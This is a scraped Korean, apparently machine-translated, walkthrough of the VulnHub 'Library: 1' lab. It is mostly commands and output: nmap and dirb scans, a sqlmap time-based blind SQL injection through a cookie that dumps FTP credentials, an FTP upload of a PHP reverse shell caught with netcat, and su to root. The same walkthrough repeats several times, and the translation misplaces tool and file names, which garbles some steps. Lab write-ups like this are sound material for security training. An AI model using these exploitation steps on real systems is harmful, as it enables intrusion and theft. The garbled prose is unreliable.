vulnhub Walkthrough:Library:1
vulnhub의 의도적으로 취약성이 만들어진 Library:1의 Walkthrough가 됩니다.
vulnhub 정보
이름
The Library: 1
Date release
22 Jul 2019
작성자
Avraham Cohen
시리즈
The Library
PortScan:
nmap
를 사용하여 대상 머신의 포트를 살펴보면 ftp
와 Apache
가 존재하는 것으로 나타났습니다.
PORT
서비스
VERSION
21
ftp
vsftpd 3.0.3
80
http
Apache httpd 2.4.18 ((Ubuntu))
root@kali:~# nmap -sS -sV 192.168.56.56
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 01:57 EDT
Nmap scan report for 192.168.56.56
Host is up (0.00040s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:4F:A7:48 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.72 seconds
Enumeration:
dirb
를 사용하여 웹 사이트 디렉토리를 찾은 결과 /library.php
root@kali:~# dirb http://192.168.56.56 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 2 02:02:21 2020
URL_BASE: http://192.168.56.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.56/ ----
+ http://192.168.56.56/library.php (CODE:200|SIZE:1547)
-----------------
END_TIME: Sat May 2 02:02:26 2020
DOWNLOADED: 4612 - FOUND: 1
/library.php
를 BurpSuite
lastviewed
를 디코딩한 결과 JSON 형식임을 알 수 있습니다.
Exploitation:
sql 인젝션이 존재하지 않는지 lastviewed
를 사용하여 확인해보십시오.
대상 요청을 복사하여 파일을 만듭니다.
root@kali:~# cat file.txt
GET /library.php HTTP/1.1
Host: 192.168.56.56
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.56/library.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Cookie: PHPSESSID=i0s591hi99ssf31glunhju11r1; lastviewed={"lastviewed"=="*"}
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap
의 {"lastviewed"=="*”}
안에 주입 삽입 ””
를 넣습니다.
파일이 준비되었으므로 *
를 실행합니다.
root@kali:~# sqlmap -r file.txt --dbs --level 3
---
Parameter: Cookie #1* ((custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: PHPSESSID=scg8fiveuounn01rfn5rqo2oc2; lastviewed="{"lastviewed"=="'' AND (SELECT * FROM (SELECT(SLEEP(5)))CVfX)-- DEfZ"}"
---
[06:28:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[06:28:24] [INFO] fetching database names
[06:28:24] [INFO] fetching number of databases
[06:28:24] [INFO] resumed: 5
[06:28:24] [INFO] resumed: information_schema
[06:28:24] [INFO] resumed: library
[06:28:24] [INFO] resumed: mysql
[06:28:24] [INFO] resumed: performance_schema
[06:28:24] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys
[06:28:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.56'
[*] ending @ 06:28:24 /2020-05-02/
DB의 이름을 확인할 수있었습니다. sql 주입이 존재하는 것 같습니다.sqlmap
를 사용하여 sqlmap
의 테불을 찾았습니다. library
테이블에 access
로그인 정보가 있습니다.
root@kali:~/vulnhub# sqlmap -r file.txt -D library --dump --level 3
Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password |
+----+---------+----------+----------------+
| 1 | ftp | globus | AroundTheWorld |
+----+---------+----------+----------------+
Database: library
Table: countries
[9 entries]
+----+-------------+
| id | name |
+----+-------------+
| 1 | Netherlands |
| 2 | England |
| 3 | Germany |
| 4 | France |
| 5 | Romania |
| 6 | Scotland |
| 7 | Spain |
| 8 | Sweden |
| 9 | Norway |
+----+-------------+
ftp
의 사용자 정보를 알 수 있었으므로 FTP
에 연결해보십시오.
안전하게 연결할 수있었습니다.
root@kali:~/vulnhub# ftp 192.168.56.56
Connected to 192.168.56.56.
220 (vsFTPd 3.0.3)
Name (192.168.56.56:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 22 2019 html
226 Directory send OK.
ftp>
FTP에 연결할 수있는 FTP
를 업로드하여 서버에 연결할 수 있습니다.
이번에는 reverse-shell
에 준비되어 있는 Kali linux
를 사용합니다.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 22 2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 2831 Jul 22 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.03 secs (210.9556 kB/s)
ftp> chmod 777 shell.php
200 SITE CHMOD command ok.
안전하게 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다)
따라서 웹 브라우저에서 업로드한 php-reverse-shell.php
를 실행하기 전에 shell.php
를 사용하여 연결을 기다립니다. netcat
를 실행하고 안전하게 연결할 수 있습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.56: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.56] 55648
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
09:57:13 up 2:11, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$
Privilege Escalation:
shell.php
의 내용을 확인해 봅니다.
$ cd /var/www/html
$ cat library.php
확인한 결과 database에 연결하면 사용자 정보가있었습니다.
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'username';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'library';
library.php
사용자의 경로가 root
일 수 있으므로 password
명령을 사용하여 확인해보십시오.su
에서 대화형 셸을 가져오고 python
에서 사용자를 su
, 암호를 root
로 했는데 password
네~이
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html$ su root
su root
Password: password
root@ubuntu:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html# whoami
whoami
root
면책사항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:Library:1), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/cc3fe2f9490a2493f925
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
nmap
를 사용하여 대상 머신의 포트를 살펴보면 ftp
와 Apache
가 존재하는 것으로 나타났습니다.PORT
서비스
VERSION
21
ftp
vsftpd 3.0.3
80
http
Apache httpd 2.4.18 ((Ubuntu))
root@kali:~# nmap -sS -sV 192.168.56.56
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 01:57 EDT
Nmap scan report for 192.168.56.56
Host is up (0.00040s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:4F:A7:48 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.72 seconds
Enumeration:
dirb
를 사용하여 웹 사이트 디렉토리를 찾은 결과 /library.php
root@kali:~# dirb http://192.168.56.56 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 2 02:02:21 2020
URL_BASE: http://192.168.56.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.56/ ----
+ http://192.168.56.56/library.php (CODE:200|SIZE:1547)
-----------------
END_TIME: Sat May 2 02:02:26 2020
DOWNLOADED: 4612 - FOUND: 1
/library.php
를 BurpSuite
lastviewed
를 디코딩한 결과 JSON 형식임을 알 수 있습니다.
Exploitation:
sql 인젝션이 존재하지 않는지 lastviewed
를 사용하여 확인해보십시오.
대상 요청을 복사하여 파일을 만듭니다.
root@kali:~# cat file.txt
GET /library.php HTTP/1.1
Host: 192.168.56.56
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.56/library.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Cookie: PHPSESSID=i0s591hi99ssf31glunhju11r1; lastviewed={"lastviewed"=="*"}
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap
의 {"lastviewed"=="*”}
안에 주입 삽입 ””
를 넣습니다.
파일이 준비되었으므로 *
를 실행합니다.
root@kali:~# sqlmap -r file.txt --dbs --level 3
---
Parameter: Cookie #1* ((custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: PHPSESSID=scg8fiveuounn01rfn5rqo2oc2; lastviewed="{"lastviewed"=="'' AND (SELECT * FROM (SELECT(SLEEP(5)))CVfX)-- DEfZ"}"
---
[06:28:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[06:28:24] [INFO] fetching database names
[06:28:24] [INFO] fetching number of databases
[06:28:24] [INFO] resumed: 5
[06:28:24] [INFO] resumed: information_schema
[06:28:24] [INFO] resumed: library
[06:28:24] [INFO] resumed: mysql
[06:28:24] [INFO] resumed: performance_schema
[06:28:24] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys
[06:28:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.56'
[*] ending @ 06:28:24 /2020-05-02/
DB의 이름을 확인할 수있었습니다. sql 주입이 존재하는 것 같습니다.sqlmap
를 사용하여 sqlmap
의 테불을 찾았습니다. library
테이블에 access
로그인 정보가 있습니다.
root@kali:~/vulnhub# sqlmap -r file.txt -D library --dump --level 3
Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password |
+----+---------+----------+----------------+
| 1 | ftp | globus | AroundTheWorld |
+----+---------+----------+----------------+
Database: library
Table: countries
[9 entries]
+----+-------------+
| id | name |
+----+-------------+
| 1 | Netherlands |
| 2 | England |
| 3 | Germany |
| 4 | France |
| 5 | Romania |
| 6 | Scotland |
| 7 | Spain |
| 8 | Sweden |
| 9 | Norway |
+----+-------------+
ftp
의 사용자 정보를 알 수 있었으므로 FTP
에 연결해보십시오.
안전하게 연결할 수있었습니다.
root@kali:~/vulnhub# ftp 192.168.56.56
Connected to 192.168.56.56.
220 (vsFTPd 3.0.3)
Name (192.168.56.56:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 22 2019 html
226 Directory send OK.
ftp>
FTP에 연결할 수있는 FTP
를 업로드하여 서버에 연결할 수 있습니다.
이번에는 reverse-shell
에 준비되어 있는 Kali linux
를 사용합니다.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 22 2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 2831 Jul 22 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.03 secs (210.9556 kB/s)
ftp> chmod 777 shell.php
200 SITE CHMOD command ok.
안전하게 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다)
따라서 웹 브라우저에서 업로드한 php-reverse-shell.php
를 실행하기 전에 shell.php
를 사용하여 연결을 기다립니다. netcat
를 실행하고 안전하게 연결할 수 있습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.56: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.56] 55648
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
09:57:13 up 2:11, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$
Privilege Escalation:
shell.php
의 내용을 확인해 봅니다.
$ cd /var/www/html
$ cat library.php
확인한 결과 database에 연결하면 사용자 정보가있었습니다.
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'username';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'library';
library.php
사용자의 경로가 root
일 수 있으므로 password
명령을 사용하여 확인해보십시오.su
에서 대화형 셸을 가져오고 python
에서 사용자를 su
, 암호를 root
로 했는데 password
네~이
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html$ su root
su root
Password: password
root@ubuntu:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html# whoami
whoami
root
면책사항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:Library:1), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/cc3fe2f9490a2493f925
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
root@kali:~# dirb http://192.168.56.56 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 2 02:02:21 2020
URL_BASE: http://192.168.56.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.56/ ----
+ http://192.168.56.56/library.php (CODE:200|SIZE:1547)
-----------------
END_TIME: Sat May 2 02:02:26 2020
DOWNLOADED: 4612 - FOUND: 1
sql 인젝션이 존재하지 않는지
lastviewed
를 사용하여 확인해보십시오.대상 요청을 복사하여 파일을 만듭니다.
root@kali:~# cat file.txt
GET /library.php HTTP/1.1
Host: 192.168.56.56
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.56/library.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Cookie: PHPSESSID=i0s591hi99ssf31glunhju11r1; lastviewed={"lastviewed"=="*"}
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap
의 {"lastviewed"=="*”}
안에 주입 삽입 ””
를 넣습니다.파일이 준비되었으므로
*
를 실행합니다.
root@kali:~# sqlmap -r file.txt --dbs --level 3
---
Parameter: Cookie #1* ((custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: PHPSESSID=scg8fiveuounn01rfn5rqo2oc2; lastviewed="{"lastviewed"=="'' AND (SELECT * FROM (SELECT(SLEEP(5)))CVfX)-- DEfZ"}"
---
[06:28:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[06:28:24] [INFO] fetching database names
[06:28:24] [INFO] fetching number of databases
[06:28:24] [INFO] resumed: 5
[06:28:24] [INFO] resumed: information_schema
[06:28:24] [INFO] resumed: library
[06:28:24] [INFO] resumed: mysql
[06:28:24] [INFO] resumed: performance_schema
[06:28:24] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys
[06:28:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.56'
[*] ending @ 06:28:24 /2020-05-02/
DB의 이름을 확인할 수있었습니다. sql 주입이 존재하는 것 같습니다.
sqlmap
를 사용하여 sqlmap
의 테불을 찾았습니다. library
테이블에 access
로그인 정보가 있습니다.
root@kali:~/vulnhub# sqlmap -r file.txt -D library --dump --level 3
Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password |
+----+---------+----------+----------------+
| 1 | ftp | globus | AroundTheWorld |
+----+---------+----------+----------------+
Database: library
Table: countries
[9 entries]
+----+-------------+
| id | name |
+----+-------------+
| 1 | Netherlands |
| 2 | England |
| 3 | Germany |
| 4 | France |
| 5 | Romania |
| 6 | Scotland |
| 7 | Spain |
| 8 | Sweden |
| 9 | Norway |
+----+-------------+
ftp
의 사용자 정보를 알 수 있었으므로 FTP
에 연결해보십시오.안전하게 연결할 수있었습니다.
root@kali:~/vulnhub# ftp 192.168.56.56
Connected to 192.168.56.56.
220 (vsFTPd 3.0.3)
Name (192.168.56.56:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 22 2019 html
226 Directory send OK.
ftp>
FTP에 연결할 수있는
FTP
를 업로드하여 서버에 연결할 수 있습니다.이번에는
reverse-shell
에 준비되어 있는 Kali linux
를 사용합니다.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 22 2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 2831 Jul 22 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.03 secs (210.9556 kB/s)
ftp> chmod 777 shell.php
200 SITE CHMOD command ok.
안전하게 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다)
따라서 웹 브라우저에서 업로드한
php-reverse-shell.php
를 실행하기 전에 shell.php
를 사용하여 연결을 기다립니다. netcat
를 실행하고 안전하게 연결할 수 있습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.56: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.56] 55648
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
09:57:13 up 2:11, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$
Privilege Escalation:
shell.php
의 내용을 확인해 봅니다.
$ cd /var/www/html
$ cat library.php
확인한 결과 database에 연결하면 사용자 정보가있었습니다.
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'username';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'library';
library.php
사용자의 경로가 root
일 수 있으므로 password
명령을 사용하여 확인해보십시오.su
에서 대화형 셸을 가져오고 python
에서 사용자를 su
, 암호를 root
로 했는데 password
네~이
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html$ su root
su root
Password: password
root@ubuntu:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html# whoami
whoami
root
면책사항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:Library:1), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/cc3fe2f9490a2493f925
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
$ cd /var/www/html
$ cat library.php
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'username';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'library';
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html$ su root
su root
Password: password
root@ubuntu:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html# whoami
whoami
root
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:Library:1), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/Mr_e5908de784a1e38197/items/cc3fe2f9490a2493f925텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)